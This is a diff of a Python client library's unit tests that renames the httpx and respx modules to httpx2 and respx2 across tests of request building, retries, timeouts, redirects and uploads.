@@ -599,7 +599,7 @@ def test_default_query_option(self) -> None:
default_query={"query_param": "bar"},
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- url = httpx.URL(request.url)
+ url = httpx2.URL(request.url)
assert dict(url.params) == {"query_param": "bar"}
request = client._build_request(
@@ -609,14 +609,14 @@ def test_default_query_option(self) -> None:
params={"foo": "baz", "query_param": "overridden"},
)
)
- url = httpx.URL(request.url)
+ url = httpx2.URL(request.url)
assert dict(url.params) == {"foo": "baz", "query_param": "overridden"}
client.close()
def test_hardcoded_query_params_in_url(self, client: OpenAI) -> None:
request = client._build_request(FinalRequestOptions(method="get", url="/foo?beta=true"))
- url = httpx.URL(str(request.url))
+ url = httpx2.URL(str(request.url))
assert dict(url.params) == {"beta": "true"}
request = client._build_request(
@@ -626,7 +626,7 @@ def test_hardcoded_query_params_in_url(self, client: OpenAI) -> None:
params={"limit": "10", "page": "abc"},
)
)
- url = httpx.URL(str(request.url))
+ url = httpx2.URL(str(request.url))
assert dict(url.params) == {"beta": "true", "limit": "10", "page": "abc"}
request = client._build_request(
@@ -764,16 +764,16 @@ def test_multipart_repeating_array(self, client: OpenAI) -> None:
b"",
]
- @pytest.mark.respx(base_url=base_url)
- def test_binary_content_upload(self, respx_mock: MockRouter, client: OpenAI) -> None:
- respx_mock.post("/upload").mock(side_effect=mirror_request_content)
+ @pytest.mark.respx2(base_url=base_url)
+ def test_binary_content_upload(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ respx2_mock.post("/upload").mock(side_effect=mirror_request_content)
file_content = b"Hello, this is a test file."
response = client.post(
"/upload",
content=file_content,
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Content-Type": "application/octet-stream"}},
)
@@ -786,21 +786,21 @@ def test_binary_content_upload_with_iterator(self) -> None:
counter = Counter()
iterator = _make_sync_iterator([file_content], counter=counter)
- def mock_handler(request: httpx.Request) -> httpx.Response:
+ def mock_handler(request: httpx2.Request) -> httpx2.Response:
assert counter.value == 0, "the request body should not have been read"
- return httpx.Response(200, content=request.read())
+ return httpx2.Response(200, content=request.read())
with OpenAI(
base_url=base_url,
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.Client(transport=MockTransport(handler=mock_handler)),
+ http_client=httpx2.Client(transport=MockTransport(handler=mock_handler)),
) as client:
response = client.post(
"/upload",
content=iterator,
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Content-Type": "application/octet-stream"}},
)
@@ -809,9 +809,9 @@ def mock_handler(request: httpx.Request) -> httpx.Response:
assert response.content == file_content
assert counter.value == 1
- @pytest.mark.respx(base_url=base_url)
- def test_binary_content_upload_with_body_is_deprecated(self, respx_mock: MockRouter, client: OpenAI) -> None:
- respx_mock.post("/upload").mock(side_effect=mirror_request_content)
+ @pytest.mark.respx2(base_url=base_url)
+ def test_binary_content_upload_with_body_is_deprecated(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ respx2_mock.post("/upload").mock(side_effect=mirror_request_content)
file_content = b"Hello, this is a test file."
@@ -821,7 +821,7 @@ def test_binary_content_upload_with_body_is_deprecated(self, respx_mock: MockRou
response = client.post(
"/upload",
body=file_content,
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Content-Type": "application/octet-stream"}},
)
@@ -829,22 +829,22 @@ def test_binary_content_upload_with_body_is_deprecated(self, respx_mock: MockRou
assert response.request.headers["Content-Type"] == "application/octet-stream"
assert response.content == file_content
- @pytest.mark.respx(base_url=base_url)
- def test_basic_union_response(self, respx_mock: MockRouter, client: OpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_basic_union_response(self, respx2_mock: MockRouter, client: OpenAI) -> None:
class Model1(BaseModel):
name: str
class Model2(BaseModel):
foo: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.get("/foo", cast_to=cast(Any, Union[Model1, Model2]))
assert isinstance(response, Model2)
assert response.foo == "bar"
- @pytest.mark.respx(base_url=base_url)
- def test_union_response_different_types(self, respx_mock: MockRouter, client: OpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_union_response_different_types(self, respx2_mock: MockRouter, client: OpenAI) -> None:
"""Union of objects with the same field name using a different type"""
class Model1(BaseModel):
@@ -853,20 +853,20 @@ class Model1(BaseModel):
class Model2(BaseModel):
foo: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.get("/foo", cast_to=cast(Any, Union[Model1, Model2]))
assert isinstance(response, Model2)
assert response.foo == "bar"
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": 1}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": 1}))
response = client.get("/foo", cast_to=cast(Any, Union[Model1, Model2]))
assert isinstance(response, Model1)
assert response.foo == 1
- @pytest.mark.respx(base_url=base_url)
- def test_non_application_json_content_type_for_json_data(self, respx_mock: MockRouter, client: OpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_non_application_json_content_type_for_json_data(self, respx2_mock: MockRouter, client: OpenAI) -> None:
"""
Response that sets Content-Type to something other than application/json but returns json data
"""
@@ -874,8 +874,8 @@ def test_non_application_json_content_type_for_json_data(self, respx_mock: MockR
class Model(BaseModel):
foo: int
- respx_mock.get("/foo").mock(
- return_value=httpx.Response(
+ respx2_mock.get("/foo").mock(
+ return_value=httpx2.Response(
200,
content=json.dumps({"foo": 2}),
headers={"Content-Type": "application/text"},
@@ -920,7 +920,7 @@ def test_base_url_env(self) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.Client(),
+ http_client=httpx2.Client(),
),
],
ids=["standard", "custom http client"],
@@ -950,7 +950,7 @@ def test_base_url_trailing_slash(self, client: OpenAI) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.Client(),
+ http_client=httpx2.Client(),
),
],
ids=["standard", "custom http client"],
@@ -980,7 +980,7 @@ def test_base_url_no_trailing_slash(self, client: OpenAI) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.Client(),
+ http_client=httpx2.Client(),
),
],
ids=["standard", "custom http client"],
@@ -1019,12 +1019,12 @@ def test_client_context_manager(self) -> None:
assert not test_client.is_closed()
assert test_client.is_closed()
- @pytest.mark.respx(base_url=base_url)
- def test_client_response_validation_error(self, respx_mock: MockRouter, client: OpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_client_response_validation_error(self, respx2_mock: MockRouter, client: OpenAI) -> None:
class Model(BaseModel):
foo: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": {"invalid": True}}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": {"invalid": True}}))
with pytest.raises(APIResponseValidationError) as exc:
client.get("/foo", cast_to=Model)
@@ -1041,23 +1041,23 @@ def test_client_max_retries_validation(self) -> None:
max_retries=cast(Any, None),
)
- @pytest.mark.respx(base_url=base_url)
- def test_default_stream_cls(self, respx_mock: MockRouter, client: OpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_default_stream_cls(self, respx2_mock: MockRouter, client: OpenAI) -> None:
class Model(BaseModel):
name: str
- respx_mock.post("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ respx2_mock.post("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
stream = client.post("/foo", cast_to=Model, stream=True, stream_cls=Stream[Model])
assert isinstance(stream, Stream)
stream.response.close()
- @pytest.mark.respx(base_url=base_url)
- def test_received_text_for_expected_json(self, respx_mock: MockRouter) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_received_text_for_expected_json(self, respx2_mock: MockRouter) -> None:
class Model(BaseModel):
name: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, text="my-custom-format"))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, text="my-custom-format"))
strict_client = OpenAI(
base_url=base_url, api_key=api_key, admin_api_key=admin_api_key, _strict_response_validation=True
@@ -1108,7 +1108,7 @@ class Model(BaseModel):
def test_parse_retry_after_header(
self, remaining_retries: int, retry_after: str, timeout: float, client: OpenAI
) -> None:
- headers = httpx.Headers({"retry-after": retry_after})
+ headers = httpx2.Headers({"retry-after": retry_after})
options = FinalRequestOptions(method="get", url="/foo", max_retries=3)
calculated = client._calculate_retry_timeout(remaining_retries, options, headers)
assert calculated == pytest.approx(timeout, 0.5 * 0.875) # pyright: ignore[reportUnknownMemberType]
@@ -1126,24 +1126,24 @@ def test_parse_retry_after_header(
)
@mock.patch("time.time", mock.MagicMock(return_value=1696004797))
def test_retry_after_max_delay(self, headers: dict[str, str], should_retry: bool, client: OpenAI) -> None:
- response = httpx.Response(429, headers=headers)
+ response = httpx2.Response(429, headers=headers)
assert client._should_retry(response) is should_retry
- @pytest.mark.respx(base_url=base_url)
- def test_does_not_retry_retry_after_above_max(self, respx_mock: MockRouter, client: OpenAI) -> None:
- route = respx_mock.get("/foo").mock(
- return_value=httpx.Response(429, headers={"retry-after": "121"}, json={"error": {}})
+ @pytest.mark.respx2(base_url=base_url)
+ def test_does_not_retry_retry_after_above_max(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ route = respx2_mock.get("/foo").mock(
+ return_value=httpx2.Response(429, headers={"retry-after": "121"}, json={"error": {}})
)
with pytest.raises(APIStatusError):
- client.get("/foo", cast_to=httpx.Response)
+ client.get("/foo", cast_to=httpx2.Response)
assert route.call_count == 1
- @pytest.mark.respx(base_url=base_url)
- def test_invalid_retry_after_date_does_not_mask_status_error(self, respx_mock: MockRouter, client: OpenAI) -> None:
- route = respx_mock.get("/foo").mock(
- return_value=httpx.Response(
+ @pytest.mark.respx2(base_url=base_url)
+ def test_invalid_retry_after_date_does_not_mask_status_error(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ route = respx2_mock.get("/foo").mock(
+ return_value=httpx2.Response(
400,
headers={"retry-after": "Fri, 29 Sep 100000 16:26:57 GMT"},
json={"error": {}},
@@ -1151,14 +1151,14 @@ def test_invalid_retry_after_date_does_not_mask_status_error(self, respx_mock: M
)
with pytest.raises(APIStatusError):
- client.get("/foo", cast_to=httpx.Response)
+ client.get("/foo", cast_to=httpx2.Response)
assert route.call_count == 1
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
- def test_retrying_timeout_errors_doesnt_leak(self, respx_mock: MockRouter, client: OpenAI) -> None:
- respx_mock.post("/chat/completions").mock(side_effect=httpx.TimeoutException("Test timeout error"))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_retrying_timeout_errors_doesnt_leak(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ respx2_mock.post("/chat/completions").mock(side_effect=httpx2.TimeoutException("Test timeout error"))
with pytest.raises(APITimeoutError):
client.chat.completions.with_streaming_response.create(
@@ -1174,9 +1174,9 @@ def test_retrying_timeout_errors_doesnt_leak(self, respx_mock: MockRouter, clien
assert _get_open_connections(client) == 0
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
- def test_retrying_status_errors_doesnt_leak(self, respx_mock: MockRouter, client: OpenAI) -> None:
- respx_mock.post("/chat/completions").mock(return_value=httpx.Response(500))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_retrying_status_errors_doesnt_leak(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ respx2_mock.post("/chat/completions").mock(return_value=httpx2.Response(500))
with pytest.raises(APIStatusError):
client.chat.completions.with_streaming_response.create(
@@ -1192,29 +1192,29 @@ def test_retrying_status_errors_doesnt_leak(self, respx_mock: MockRouter, client
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
@pytest.mark.parametrize("failure_mode", ["status", "exception"])
def test_retries_taken(
self,
client: OpenAI,
failures_before_success: int,
failure_mode: Literal["status", "exception"],
- respx_mock: MockRouter,
+ respx2_mock: MockRouter,
) -> None:
client = client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
if failure_mode == "exception":
raise RuntimeError("oops")
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
response = client.chat.completions.with_raw_response.create(
messages=[
@@ -1231,22 +1231,22 @@ def retry_handler(_request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_omit_retry_count_header(
- self, client: OpenAI, failures_before_success: int, respx_mock: MockRouter
+ self, client: OpenAI, failures_before_success: int, respx2_mock: MockRouter
) -> None:
client = client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
response = client.chat.completions.with_raw_response.create(
messages=[
@@ -1263,22 +1263,22 @@ def retry_handler(_request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_overwrite_retry_count_header(
- self, client: OpenAI, failures_before_success: int, respx_mock: MockRouter
+ self, client: OpenAI, failures_before_success: int, respx2_mock: MockRouter
) -> None:
client = client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
response = client.chat.completions.with_raw_response.create(
messages=[
@@ -1295,22 +1295,22 @@ def retry_handler(_request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_retries_taken_new_response_class(
- self, client: OpenAI, failures_before_success: int, respx_mock: MockRouter
+ self, client: OpenAI, failures_before_success: int, respx2_mock: MockRouter
) -> None:
client = client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
with client.chat.completions.with_streaming_response.create(
messages=[
@@ -1351,30 +1351,32 @@ def test_default_client_creation(self) -> None:
trust_env=True,
http1=True,
http2=False,
- limits=httpx.Limits(max_connections=100, max_keepalive_connections=20),
+ limits=httpx2.Limits(max_connections=100, max_keepalive_connections=20),
)
- @pytest.mark.respx(base_url=base_url)
- def test_follow_redirects(self, respx_mock: MockRouter, client: OpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_follow_redirects(self, respx2_mock: MockRouter, client: OpenAI) -> None:
# Test that the default follow_redirects=True allows following redirects
- respx_mock.post("/redirect").mock(
- return_value=httpx.Response(302, headers={"Location": f"{base_url}/redirected"})
+ respx2_mock.post("/redirect").mock(
+ return_value=httpx2.Response(302, headers={"Location": f"{base_url}/redirected"})
)
- respx_mock.get("/redirected").mock(return_value=httpx.Response(200, json={"status": "ok"}))
+ respx2_mock.get("/redirected").mock(return_value=httpx2.Response(200, json={"status": "ok"}))
- response = client.post("/redirect", body={"key": "value"}, cast_to=httpx.Response)
+ response = client.post("/redirect", body={"key": "value"}, cast_to=httpx2.Response)
assert response.status_code == 200
assert response.json() == {"status": "ok"}
- @pytest.mark.respx(base_url=base_url)
- def test_follow_redirects_disabled(self, respx_mock: MockRouter, client: OpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ def test_follow_redirects_disabled(self, respx2_mock: MockRouter, client: OpenAI) -> None:
# Test that follow_redirects=False prevents following redirects
- respx_mock.post("/redirect").mock(
- return_value=httpx.Response(302, headers={"Location": f"{base_url}/redirected"})
+ respx2_mock.post("/redirect").mock(
+ return_value=httpx2.Response(302, headers={"Location": f"{base_url}/redirected"})
)
with pytest.raises(APIStatusError) as exc_info:
- client.post("/redirect", body={"key": "value"}, options={"follow_redirects": False}, cast_to=httpx.Response)
+ client.post(
+ "/redirect", body={"key": "value"}, options={"follow_redirects": False}, cast_to=httpx2.Response
+ )
assert exc_info.value.response.status_code == 302
assert exc_info.value.response.headers["Location"] == f"{base_url}/redirected"
@@ -1398,12 +1400,12 @@ def test_api_key_before_after_refresh_str(self) -> None:
assert client.auth_headers.get("Authorization") == "Bearer test_api_key"
- @pytest.mark.respx()
- def test_api_key_refresh_on_retry(self, respx_mock: MockRouter) -> None:
- respx_mock.post(base_url + "/chat/completions").mock(
+ @pytest.mark.respx2()
+ def test_api_key_refresh_on_retry(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.post(base_url + "/chat/completions").mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(200, json={"foo": "bar"}),
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(200, json={"foo": "bar"}),
]
)
@@ -1422,7 +1424,7 @@ def token_provider() -> str:
client = OpenAI(base_url=base_url, api_key=token_provider)
client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 2
assert calls[0].request.headers.get("Authorization") == "Bearer first"
@@ -1437,24 +1439,24 @@ def test_copy_auth(self) -> None:
class TestAsyncOpenAI:
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
- respx_mock.post("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ respx2_mock.post("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- response = await async_client.post("/foo", cast_to=httpx.Response)
+ response = await async_client.post("/foo", cast_to=httpx2.Response)
assert response.status_code == 200
- assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx")
+ assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx2")
assert response.json() == {"foo": "bar"}
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_for_binary(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
- respx_mock.post("/foo").mock(
- return_value=httpx.Response(200, headers={"Content-Type": "application/binary"}, content='{"foo": "bar"}')
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_for_binary(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ respx2_mock.post("/foo").mock(
+ return_value=httpx2.Response(200, headers={"Content-Type": "application/binary"}, content='{"foo": "bar"}')
)
- response = await async_client.post("/foo", cast_to=httpx.Response)
+ response = await async_client.post("/foo", cast_to=httpx2.Response)
assert response.status_code == 200
- assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx")
+ assert type(response).__module__ == os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx2")
assert response.json() == {"foo": "bar"}
def test_copy(self, async_client: AsyncOpenAI) -> None:
@@ -1480,10 +1482,10 @@ def test_copy_default_options(self, async_client: AsyncOpenAI) -> None:
assert copied.max_retries == 7
# timeout
- assert isinstance(async_client.timeout, httpx.Timeout)
+ assert isinstance(async_client.timeout, httpx2.Timeout)
copied = async_client.copy(timeout=None)
assert copied.timeout is None
- assert isinstance(async_client.timeout, httpx.Timeout)
+ assert isinstance(async_client.timeout, httpx2.Timeout)
async def test_copy_default_headers(self) -> None:
client = AsyncOpenAI(
@@ -1647,14 +1649,14 @@ def add_leak(leaks: list[tracemalloc.StatisticDiff], diff: tracemalloc.Statistic
async def test_request_timeout(self, async_client: AsyncOpenAI) -> None:
request = async_client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
assert timeout == DEFAULT_TIMEOUT
request = async_client._build_request(
- FinalRequestOptions(method="get", url="/foo", timeout=httpx.Timeout(100.0))
+ FinalRequestOptions(method="get", url="/foo", timeout=httpx2.Timeout(100.0))
)
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
- assert timeout == httpx.Timeout(100.0)
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
+ assert timeout == httpx2.Timeout(100.0)
async def test_client_timeout_option(self) -> None:
client = AsyncOpenAI(
@@ -1662,18 +1664,18 @@ async def test_client_timeout_option(self) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- timeout=httpx.Timeout(0),
+ timeout=httpx2.Timeout(0),
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
- assert timeout == httpx.Timeout(0)
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
+ assert timeout == httpx2.Timeout(0)
await client.close()
async def test_http_client_timeout_option(self) -> None:
# custom timeout given to the httpx client should be used
- async with httpx.AsyncClient(timeout=None) as http_client:
+ async with httpx2.AsyncClient(timeout=None) as http_client:
client = AsyncOpenAI(
base_url=base_url,
api_key=api_key,
@@ -1683,13 +1685,13 @@ async def test_http_client_timeout_option(self) -> None:
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
- assert timeout == httpx.Timeout(None)
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
+ assert timeout == httpx2.Timeout(None)
await client.close()
# no timeout given to the httpx client should not use the httpx default
- async with httpx.AsyncClient() as http_client:
+ async with httpx2.AsyncClient() as http_client:
client = AsyncOpenAI(
base_url=base_url,
api_key=api_key,
@@ -1699,13 +1701,13 @@ async def test_http_client_timeout_option(self) -> None:
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
assert timeout == DEFAULT_TIMEOUT
await client.close()
# explicitly passing the default timeout currently results in it being ignored
- async with httpx.AsyncClient(timeout=HTTPX_DEFAULT_TIMEOUT) as http_client:
+ async with httpx2.AsyncClient(timeout=HTTPX_DEFAULT_TIMEOUT) as http_client:
client = AsyncOpenAI(
base_url=base_url,
api_key=api_key,
@@ -1715,14 +1717,14 @@ async def test_http_client_timeout_option(self) -> None:
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- timeout = httpx.Timeout(**request.extensions["timeout"]) # type: ignore
+ timeout = httpx2.Timeout(**request.extensions["timeout"]) # type: ignore
assert timeout == DEFAULT_TIMEOUT # our default
await client.close()
def test_invalid_http_client(self) -> None:
with pytest.raises(TypeError, match="Invalid `http_client` arg"):
- with httpx.Client() as http_client:
+ with httpx2.Client() as http_client:
AsyncOpenAI(
base_url=base_url,
api_key=api_key,
@@ -1837,9 +1839,9 @@ async def test_validate_headers(self) -> None:
with pytest.raises(OpenAIError, match="Missing credentials"):
AsyncOpenAI(base_url=base_url, api_key=None, admin_api_key=None, _strict_response_validation=True)
- @pytest.mark.respx(base_url=base_url)
- async def test_api_key_provider_preserves_admin_auth(self, respx_mock: MockRouter) -> None:
- respx_mock.get("/organization/projects").mock(return_value=httpx.Response(200, json={"ok": True}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_api_key_provider_preserves_admin_auth(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/organization/projects").mock(return_value=httpx2.Response(200, json={"ok": True}))
provider_called = False
@@ -1851,7 +1853,7 @@ async def api_key_provider() -> str:
client = AsyncOpenAI(base_url=base_url, api_key=api_key_provider, admin_api_key=admin_api_key)
response = await client.get(
"/organization/projects",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"security": {"admin_api_key_auth": True}},
)
@@ -1871,20 +1873,20 @@ async def api_key_provider() -> str:
with pytest.raises(TypeError, match="Could not resolve authentication method"):
await client.get(
"/organization/projects",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"security": {"admin_api_key_auth": True}},
)
assert provider_called is False
- @pytest.mark.respx(base_url=base_url)
- async def test_workload_identity_preserves_admin_auth(self, respx_mock: MockRouter) -> None:
- respx_mock.get("/organization/projects").mock(return_value=httpx.Response(200, json={"ok": True}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_workload_identity_preserves_admin_auth(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/organization/projects").mock(return_value=httpx2.Response(200, json={"ok": True}))
client = AsyncOpenAI(base_url=base_url, workload_identity=workload_identity, admin_api_key=admin_api_key)
response = await client.get(
"/organization/projects",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"security": {"admin_api_key_auth": True}},
)
@@ -1899,7 +1901,7 @@ async def test_default_query_option(self) -> None:
default_query={"query_param": "bar"},
)
request = client._build_request(FinalRequestOptions(method="get", url="/foo"))
- url = httpx.URL(request.url)
+ url = httpx2.URL(request.url)
assert dict(url.params) == {"query_param": "bar"}
request = client._build_request(
@@ -1909,14 +1911,14 @@ async def test_default_query_option(self) -> None:
params={"foo": "baz", "query_param": "overridden"},
)
)
- url = httpx.URL(request.url)
+ url = httpx2.URL(request.url)
assert dict(url.params) == {"foo": "baz", "query_param": "overridden"}
await client.close()
async def test_hardcoded_query_params_in_url(self, async_client: AsyncOpenAI) -> None:
request = async_client._build_request(FinalRequestOptions(method="get", url="/foo?beta=true"))
- url = httpx.URL(str(request.url))
+ url = httpx2.URL(str(request.url))
assert dict(url.params) == {"beta": "true"}
request = async_client._build_request(
@@ -1926,7 +1928,7 @@ async def test_hardcoded_query_params_in_url(self, async_client: AsyncOpenAI) ->
params={"limit": "10", "page": "abc"},
)
)
- url = httpx.URL(str(request.url))
+ url = httpx2.URL(str(request.url))
assert dict(url.params) == {"beta": "true", "limit": "10", "page": "abc"}
request = async_client._build_request(
@@ -2064,16 +2066,16 @@ def test_multipart_repeating_array(self, async_client: AsyncOpenAI) -> None:
b"",
]
- @pytest.mark.respx(base_url=base_url)
- async def test_binary_content_upload(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
- respx_mock.post("/upload").mock(side_effect=mirror_request_content)
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_binary_content_upload(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ respx2_mock.post("/upload").mock(side_effect=mirror_request_content)
file_content = b"Hello, this is a test file."
response = await async_client.post(
"/upload",
content=file_content,
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Content-Type": "application/octet-stream"}},
)
@@ -2086,21 +2088,21 @@ async def test_binary_content_upload_with_asynciterator(self) -> None:
counter = Counter()
iterator = _make_async_iterator([file_content], counter=counter)
- async def mock_handler(request: httpx.Request) -> httpx.Response:
+ async def mock_handler(request: httpx2.Request) -> httpx2.Response:
assert counter.value == 0, "the request body should not have been read"
- return httpx.Response(200, content=await request.aread())
+ return httpx2.Response(200, content=await request.aread())
async with AsyncOpenAI(
base_url=base_url,
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.AsyncClient(transport=MockTransport(handler=mock_handler)),
+ http_client=httpx2.AsyncClient(transport=MockTransport(handler=mock_handler)),
) as client:
response = await client.post(
"/upload",
content=iterator,
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Content-Type": "application/octet-stream"}},
)
@@ -2109,11 +2111,11 @@ async def mock_handler(request: httpx.Request) -> httpx.Response:
assert response.content == file_content
assert counter.value == 1
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_binary_content_upload_with_body_is_deprecated(
- self, respx_mock: MockRouter, async_client: AsyncOpenAI
+ self, respx2_mock: MockRouter, async_client: AsyncOpenAI
) -> None:
